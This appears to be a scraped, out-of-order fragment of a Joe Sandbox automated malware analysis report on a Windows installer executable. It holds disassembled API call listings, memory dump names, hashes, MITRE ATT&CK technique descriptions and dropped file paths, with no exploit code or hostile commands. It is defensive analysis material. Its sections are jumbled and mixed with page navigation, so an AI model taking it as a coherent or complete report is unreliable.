"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe", xrefs: 0040362C

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: "C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe"
API String ID: 1100898210-3954233930
Opcode ID: 594683390acbace1feb38ee5af495b240e475f157c4d409b541952378f73dbd9
Instruction ID: 07f203a12dc211ea1540440f4769086933c1ddaa55d0411da1bb29b7fd771b51
Opcode Fuzzy Hash: 594683390acbace1feb38ee5af495b240e475f157c4d409b541952378f73dbd9
Instruction Fuzzy Hash: 8FE08C32804420ABC6216F55EC0579A7768AB48B22F028536E900BB3A083743C464BDC

Uniqueness

Uniqueness Score: -1.00%

Function 004056A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp,00402CDE,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe,80000000,00000003), ref: 004056A6
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp,00402CDE,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe,80000000,00000003), ref: 004056B4

Strings

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp, xrefs: 004056A0

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp
API String ID: 2709904686-355507032
Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction ID: 6658d1b0ab05e5211e75f0b74aef41c49d7b43cb9628f8e009f88ad9fa15a52a
Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction Fuzzy Hash: C5D0A772409DB02EF30352108C04B8F7A98CF17300F0948A2E440E21D0C27C5C818FFD

Uniqueness

Uniqueness Score: -1.00%

Function 004057B2 Relevance: 5.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057B9
lstrcmpiA.KERNEL32(00000000,00000000), ref: 004057D2
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 004057E0
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057E9

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction ID: 042c172281cf084eebf1820456e7eb749b121a10276c912c68532230cfd8689c
Opcode Fuzzy Hash: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction Fuzzy Hash: BBF0A736249D51DBC2029B295C44E6FBEA4EF95355F14057EF440F3180D335AC11ABBB

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ss[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ar[2].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ar[2].php

C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\erku (copy)

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\is-5J49M.tmp

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\is-6A8MO.tmp

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\is-8SD4O.tmp

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\is-NVIL0.tmp

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\ret (copy)

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe (copy)

C:\Users\user\AppData\Local\Temp\nsn8043.tmp\inetc.dll

C:\Users\user\AppData\Local\Temp\nsn8043.tmp\s

C:\Users\user\AppData\Local\Temp\nsn8043.tmp\status.log

C:\Users\user\AppData\Local\Temp\nsq7A47.tmp

C:\Windows\is-H6D1D.tmp

C:\Windows\unins000.dat

Windows Analysis Report
61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe

Function 0040323C Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Function 00405042 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Function 0040548B Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Function 00403A45 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 004036AF Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Function 00404060 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 204
windowstringCOMMON

Function 00402C72 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 203
memoryCOMMON

Function 00401734 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Function 00404F04 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 00402F18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 109
fileCOMMON

Function 00403043 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
fileCOMMON